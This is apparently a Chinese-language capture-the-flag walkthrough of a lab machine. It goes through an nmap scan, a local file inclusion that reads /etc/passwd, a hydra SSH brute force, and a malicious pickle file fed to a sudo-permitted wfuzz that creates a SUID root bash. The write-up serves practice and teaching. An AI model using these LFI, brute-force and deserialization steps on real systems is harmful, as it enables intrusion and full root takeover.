111

端口扫描

```bash
nmap -sV -sC 192.168.56.138
```

扫描结果：

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian
80/tcp open  http    Apache httpd 2.4.51
```

发现开放了 SSH (22) 和 HTTP (80) 端口。

访问 80 端口发现是一个普通网站，进行目录扫描：

```bash
gobuster dir -u http://192.168.56.138 -w
/usr/share/wordlists/dirb/common.txt
```

LFI

发现 `file.php` 文件，测试 `file.php` 参数：

```bash
curl "http://192.168.56.138/file.php?file=/etc/passwd"
```

成功读取 /etc/passwd：

```
root:x:0:0:root:/root:/bin/bash
```

```
tao:x:1000:1000:tao,,,:/home/tao:/bin/bash
...
```

发现存在用户 `tao`。

SSH 爆破

```bash
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt
ssh://192.168.56.138 -t 4
```

爆破成功:

```
[22][ssh] host: 192.168.56.138   login: tao   password:
rockyou
```

检查 sudo 权限

```bash
tao@target:~$ sudo -l
```

输出:

```
User tao may run the following commands on target:
    (ALL) NOPASSWD: /usr/bin/wfuzz
    (ALL) NOPASSWD: /usr/bin/id
```

用户 `tao` 可以无密码以 root 身份运行 `wfuzz`!

提权

- **方法一：读取敏感文件（获取 flag，但非 root shell）**

```bash
sudo /usr/bin/wfuzz -z file,/root/root.txt
http://127.0.0.1/FUZZ
```

可以读取 root flag，但这不是真正的 root shell。

- **方法二：Pickle 反序列化漏洞（获取 root shell）**

查看 wfuzz 的 payload 列表：

```bash
sudo /usr/bin/wfuzz -e payloads
```

发现 `wfuzzp` payload，查看其帮助：

```bash
sudo /usr/bin/wfuzz -z help --slice wfuzzp
```

关键信息：

```
Description:
   This payload uses pickle.
   Warning: The pickle module is not intended to be secure
against
   erroneous or maliciously constructed data.
   Never unpickle data received from an untrusted or
unauthenticated source.
```

在攻击机上创建恶意 pickle 文件：

```python
import pickle
import gzip
import os

class RCE:
    def __reduce__(self):
        cmd = 'cp /bin/bash /tmp/rootbash && chmod 4755
/tmp/rootbash'
        return (os.system, (cmd,))
with gzip.open('evil.wfuzz', 'wb') as f:
    pickle.dump(RCE(), f)

print("[+] Created evil.wfuzz")
```

运行生成恶意文件：

```bash
python3 pickle_exploit.py

# 上传到目标机器
scp evil.wfuzz tao@192.168.56.138:/tmp/

# SSH 登录目标
ssh tao@192.168.56.138

# 以 root 身份运行 wfuzz 加载恶意 pickle
sudo /usr/bin/wfuzz -z wfuzzp,/tmp/evil.wfuzz
http://127.0.0.1/FUZZ
```

SUID bash 已创建。

```bash
# 检查 SUID bash
ls -la /tmp/rootbash
```

```
# -rwsr-xr-x 1 root root 1168776 Jan  8 06:40 /tmp/rootbash

# 执行 SUID bash 获取 root 权限
/tmp/rootbash -p

# 验证权限
whoami
# root

id
# uid=1000(tao) gid=1000(tao) euid=0(root) groups=1000(tao)
```